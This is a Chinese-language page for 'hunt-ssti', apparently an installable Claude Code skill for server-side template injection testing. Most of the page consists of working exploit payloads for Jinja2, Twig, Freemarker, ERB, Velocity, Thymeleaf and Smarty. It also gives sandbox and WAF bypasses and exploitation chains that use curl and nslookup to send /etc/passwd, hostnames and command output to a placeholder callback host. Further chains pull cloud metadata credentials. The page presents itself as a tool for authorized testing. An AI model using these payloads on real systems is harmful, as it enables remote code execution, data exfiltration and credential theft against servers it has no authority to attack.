关于 hunt-ssti
hunt-ssti 是用于发现和验证服务器端模板注入的安全测试技能,面向安全测试人员。它涵盖反射点排查、模板引擎识别、盲测及后续风险评估。
主要功能
- 01排查用户输入反射点
- 02使用多语法探针检测 SSTI
- 03识别模板引擎
- 04测试盲 SSTI
- 05按引擎提供升级指导
- 06分析攻击面与根本原因
适用场景
- 01测试邮件和 PDF 模板中的用户输入
- 02检查 CMS 预览和渲染后的个人资料字段
- 03根据表达式行为识别模板引擎
- 04在授权测试中评估盲模板注入
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-ssti安装后在 Claude Code 中输入/hunt-ssti确认已加载。
详细介绍
适用场景
当目标的任意端点会通过服务端模板引擎渲染用户可控输入时使用。SSTI 是实现 RCE 最快的途径之一——只需通过 {{7*7}} 即可检测,通常再用一个载荷就能升级利用。SSTI 检测结果可靠,因为模板表达式会在 HTML 编码之前求值,因此即使页面周围的内容已正确转义,渲染后的输出中仍会出现结果 49。
**触发场景:**邮件模板(订单确认、密码重置、欢迎邮件)、PDF/报告生成器、CMS 预览功能(页面构建器预览、主题编辑器)、反射用户输入的错误页面、由服务端模板渲染的个人资料简介/姓名/描述字段、在模板中反射的 URL 路径参数,以及带插值的内联翻译字符串。
快速参考
# Detection polyglot — try this in EVERY user-controlled field
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
# Expectation: 49 appears in the response (or 7777777 for Jinja2 string repetition)
# Fingerprint engine
{{7*'7'}} # 7777777 = Jinja2 (Python), 49 = Twig (PHP)
${7*7} # 49 = Freemarker, Velocity, Mako (all use ${...})
<%= 7*7 %> # 49 = ERB (Ruby)
*{7*7} # 49 = Spring Thymeleaf
# Blind RCE detection (OOB callback instead of output)
{{ lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read() }} # Jinja2
分步测试方法
阶段 1 — 检测与指纹识别
-
识别反射点 — 查找所有用户输入会出现在渲染输出中的字段:姓名字段、简介、电子邮件模板、错误消息、URL 参数、搜索查询。
-
发送多语法探测载荷 — 在每个候选字段中提交
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}。在响应正文中查找49——这是可靠的信号,因为模板表达式会在 HTML 转义之前求值。 -
引擎指纹识别 — 确认 SSTI 后,确定所用引擎:
{{7*'7'}}→7777777= Jinja2(Python 字符串重复);49= Twig(PHP 数值强制转换)${7*7}→49= Freemarker/Spring/Velocity/Mako<%= 7*7 %>→49= ERB(Ruby on Rails)*{7*7}→49= Thymeleaf(Spring/Java)- 在请求头/ Cookie 场景中的
${7*7}→ Spring Boot,可通过${user.name}读取敏感属性
-
错误信息探测技术 — 提交格式错误的表达式(例如缺少右花括号的
{{badger)——错误消息通常会透露引擎名称、框架版本和文件路径。 -
上下文分析 — 确定注入发生在 HTML 上下文、属性上下文、JavaScript 上下文,还是盲注场景(仅使用输出,不会反射)。
阶段 2 — 升级为 RCE
确定引擎后,使用针对该引擎的 RCE 载荷升级利用:
Jinja2(Python/Flask/Django):
# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Class walker (if config is restricted)
{{''.__class__.__mro__[1].__subclasses__()}}
# Blind RCE with OOB
{{lipsum.__globals__['os'].popen('curl http://COLLAB/ssti-rce').read()}}
# File read
{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}
Twig(PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
# OOB callback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/twig-rce")}}
Freemarker(Java):
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# OOB
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"curl http://COLLAB/fm-rce")}
ERB(Ruby on Rails):
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>
Velocity(Java):
#set($str=$class.inspect("java.lang.String").split(""))
#set($rt=$class.inspect("java.lang.Runtime").getRuntime())
$rt.exec("id")
Spring Boot / Thymeleaf:
${T(java.lang.Runtime).getRuntime().exec("id")}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("id")}
Smarty(PHP):
{php}echo shell_exec("id");{/php}
{system('id')}
阶段 3 — 盲 SSTI 检测
当 SSTI 的输出不会反射,但模板仍会求值时(例如电子邮件模板、PDF 生成),使用 OOB 检测:
# Jinja2 — exfil via DNS
{{lipsum.__globals__.os.popen('nslookup $(whoami).COLLAB').read()}}
# Twig — exfil via HTTP
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/blind-ssti")}}
# Freemarker — exfil via URL
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(
"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
"curl http://COLLAB/blind-fm")}
# ERB — exfil via open3
<%= Open3.popen3('curl http://COLLAB/erb-blind').read %>
阶段 4 — 利用链
# SSTI → RCE → internal network scan
{{lipsum.__globals__.os.popen('curl http://COLLAB/$(hostname)').read()}}
# SSTI → file exfil
{{lipsum.__globals__.os.popen('curl -F "file=@/etc/passwd" http://COLLAB/exfil').read()}}
# SSTI → cloud metadata
{{lipsum.__globals__.os.popen('curl http://[REDACTED_IP]/latest/meta-data/').read()}}
攻击面信号
URL/接收点模式:
/profile/name, /preview, /render, /email-template, /invoice, /report
?name=, ?template=, ?content=, ?body=, ?message=, ?title=
/profile/settings/bio, /admin/email-templates/edit, /cms/preview
响应/错误信号:
Error: "Template '{{user_input}}' not found" → Twig (Symfony)
Error: "org.springframework.expression.spel" → Spring/Thymeleaf
Error: "Method __construct not found" → Smarty
Error: "Undefined variable: 7*7" → Smarty
Response contains rendered math expression → SSTI confirmed
技术栈信号:
X-Powered-By: Express+ Node.js → Pug、EJS、HandlebarsX-Powered-By: Phusion Passenger→ Ruby ERBServer: Apache+X-Powered-By: PHP→ Twig、SmartyServer: Apache Tomcat→ Freemarker、Velocity、Thymeleaf- Django/Flask → Jinja2(默认模板引擎)
- 电子邮件模板编辑器、CMS 页面构建器、PDF 生成服务
常见根本原因
-
在模板上下文中信任用户输入 — 开发者未经沙箱处理,就将用户可控字符串传入
render_template_string()(Flask)、Template()(Jinja2)、$twig->render()(Symfony)或带有模板语法的str.format()。 -
电子邮件模板渲染 — 发送订单确认邮件、密码重置邮件和欢迎邮件前,将用户名/用户输入插入模板。SSTI 是盲注(内容会发送给用户,而不会反映在浏览器中),因此更难检测,但同样可被利用。
-
CMS 预览/页面构建器功能 — 拖放式页面构建器会存储模板片段,并在服务端渲染。预览端点通常是 SSTI 的触发点。
-
内联翻译系统 — Rails
t()助手支持插值:t('welcome', name: user_input)默认会将翻译字符串标记为 HTML 安全,从而可通过 locale 键触发 SSTI。 -
反映输入的错误页面 — 将路径回显到模板中的 404 处理程序,以及在模板中显示错误消息的 500 错误页面。
-
开发者调试端点 — 生产环境中仍启用的
/render、/template-test、/email-preview。
绕过技术
防御: 将特定字符列入黑名单({、}、$)
绕过: 尝试其他语法 — Twig {% ... %}、Jinja2 {% ... %}、Freemarker <#if ...>,或根据引擎配置使用其他分隔符语法。
防御: 使用沙箱模板引擎
绕过: 沙箱限制通常因引擎而异,且并不完善。对于 Jinja2 SandboxedEnvironment,可尝试 {{lipsum.__globals__}} — 默认全局变量中可以访问 lipsum 函数。对于 Twig 沙箱,可尝试 {{_self.env.registerUndefinedFilterCallback("exec")}}。
防御: 输出过滤/HTML 编码
绕过: SSTI 求值发生在 HTML 编码之前 — 即使页面会转义 HTML,表达式的结果 49 仍会显示。对于盲执行确认,可使用 OOB/DNS 回调。
防御: WAF 阻止 SSTI 模式
绕过: 使用其他 RCE 载荷 — 例如用 Jinja2 {% print(...) %} 替代 {{ ... }},用 Freemarker <#assign> 替代 ${ ... },或将载荷拆分到多个参数中。
防御: 限制输入长度
绕过: 使用短载荷基元 — Jinja2 {{lipsum.__globals__.os.popen('id').read()}} 长度约为 50 个字符。对于更长的调用链,可使用 POST 请求正文而不是 GET 参数。
真实案例
场景 A — 邮件模板 SSTI → RCE(电子商务平台)
某大型电子商务平台的订单确认邮件使用服务器端渲染的 Jinja2 模板,其中包含客户姓名。攻击者注册时使用了包含 {{config.__class__.__init__.__globals__['os'].popen('curl http://COLLAB/$(hostname)').read()}} 的用户名。生成并发送订单确认邮件时,模板引擎对该表达式求值,执行系统命令,并将主机名发送给攻击者的协作者。影响:邮件渲染服务器遭到 RCE,该服务器可以访问完整的客户数据库和订单处理流水线。
场景 B — CMS 页面构建器 SSTI(Freemarker → RCE)
一款基于 Java 的 CMS 允许权限有限的编辑者预览页面模板。Freemarker 模板引擎配置为允许在模板片段中使用 ${ ... } 表达式。某位编辑者构造了一个包含 <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} 的模板片段,并在渲染预览时触发执行。影响:攻击者从编辑者权限提升至 CMS 应用服务器上的操作系统级 RCE。
场景 C — PDF 生成器 SSTI(盲 ERB → RCE)
一款 Ruby on Rails 应用使用服务器端模板生成 PDF 发票。发票中包含客户姓名和地址。攻击者提交了包含 <%= system("curl -F 'data=@/etc/passwd' http://COLLAB/exfil") %> 的地址。生成 PDF 时,ERB 模板执行了该命令,将服务器的密码文件外传。影响:通过 PDF 生成流水线中的盲 SSTI,导致服务器完全失陷。
阶段 5 — 引擎指纹识别表
尝试 RCE 前,使用数学表达式进行差分探测,以识别模板引擎:
| 探测式 | Jinja2 | Twig | Freemarker | Velocity | ERB | EJS | Pug |
|---|---|---|---|---|---|---|---|
{{7*7}} | 49 | 49 | 49 | 49 | — | 49 | — |
${7*7} | ${7*7} | ${7*7} | 49 | 49 | — | ${7*7} | — |
<%=7*7%> | <%=7*7%> | — | — | — | 49 | 49 | — |
#{7*7} | — | — | 49*7(字面值) | — | 49 | — | — |
a{*comment*}b | — | ab | — | — | — | — | — |
#{7*7} | — | — | — | 7*7(字符串) | — | — | — |
阶段 6 — 特定引擎的 RCE 利用代码
Jinja2(Python):
# Class walker (no globals)
{{ ''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['os'].popen('id').read() }}
# Attr filter bypass (WAF evasion)
{{ request|attr('application')|attr('__self__')|attr('_get_data_for_json')|attr('__self__') }}
# lipsum globals access
{{ lipsum.__globals__['os'].popen('id').read() }}
Twig(PHP):
{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}
{{ ['id']|filter('system') }}
Freemarker(Java):
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}
Velocity(Java):
#set($s="") #set($stringClass=$s.getClass()) #set($rt=$stringClass.forName("java.lang.Runtime")) $rt.getRuntime().exec("id")
ERB(Ruby):
<%= `id` %>
<%= system("curl http://COLLAB/$(id)") %>
验证
运行此自测,确认已准备好进行 SSTI 排查:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-ssti" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能已设置类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录相关陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均可验证技能结构正确且已准备就绪。
陷阱
- SSTI 未导致代码执行 —
{{7*7}}返回 49,证明存在模板注入。需要进一步提升为代码执行(RCE)或文件读取,才能造成影响。 - 沙箱化模板引擎 — Jinja2 沙箱、Twig 沙箱等需要特定的绕过技术。不要假定执行未受沙箱限制。
- 模板引擎识别错误 — Jinja2、Twig 和 Freemarker 的语法各不相同。多个引擎都支持
{{7*7}}。请先进行指纹识别。 - 盲 SSTI — 如果输出未被反射,请使用基于时间或带外(OOB)技术。可使用
{% import os %}{{os.popen('sleep 10').read()}}实现盲 RCE。
相关技能
hunt-rce— 在 Python/Ruby/PHP/Java 技术栈中,SSTI 是实现 RCE 最简单的途径,因为模板语言已经能访问运行时。利用链原语:Jinja2{{config.__class__.__init__.__globals__['os'].popen('id').read()}}或 Freemarker<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}→ 以渲染工作进程的身份实现未授权 RCE。始终按指纹识别 → 类遍历器 → 命令执行的顺序升级。hunt-xss— 如果模板引擎会对运行时进行沙箱隔离(或者你只能拿到渲染后的 HTML 输出),同样的{{7*7}}回显通常仍能造成存储型 XSS。利用链原语:没有转义功能的沙箱化 Jinja2 SSTI → 向渲染后的邮件模板注入<script>→ 存储型 XSS,所有查看邮件的收件人都会受到影响。hunt-ssrf— 模板引擎通常会先暴露 URL 抓取器/过滤器,再暴露运行时,因此你可能先实现 SSRF,再实现 RCE。利用链原语:Twig{{ include('http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/') }}或使用url_for/自定义过滤器的 Jinja2 → 窃取 AWS 元数据 → 获取云凭证。hunt-file-upload— 用户上传的 Office 文档、SVG 和邮件模板是常见的 SSTI 攻击面(服务器会重新渲染这些文件)。利用链原语:上传一个 DOCX,其word/document.xml包含${T(java.lang.Runtime).getRuntime().exec("id")},并将其提交给由 Velocity/Freemarker 驱动的邮件合并功能 → RCE。security-arsenal— 使用针对特定引擎的逃逸载荷树:Jinja2 类遍历器变体(通过__subclasses__()[N]搜索索引)、Twig_self.envregisterUndefinedFilterCallback、Freemarker?new()Execute、ERB 反引号、Velocity$class.inspect、Smarty{php}...{/php},以及 WAF 绕过变体({{request|attr('application')|...}}、Unicode 转义、{%print(...)%})。triage-validation— 在判定为严重级别的 RCE 前,先执行严重性预判关卡(Pre-Severity Gate)。沙箱化引擎中的{{7*7}} → 49回显(例如 Twig 沙箱模式、没有逃逸方式的 Jinja2 SandboxedEnvironment)属于中危 SSTI,而非严重级别的 RCE。报告前,先用id或带有唯一标记的 OOB DNS 回连证明。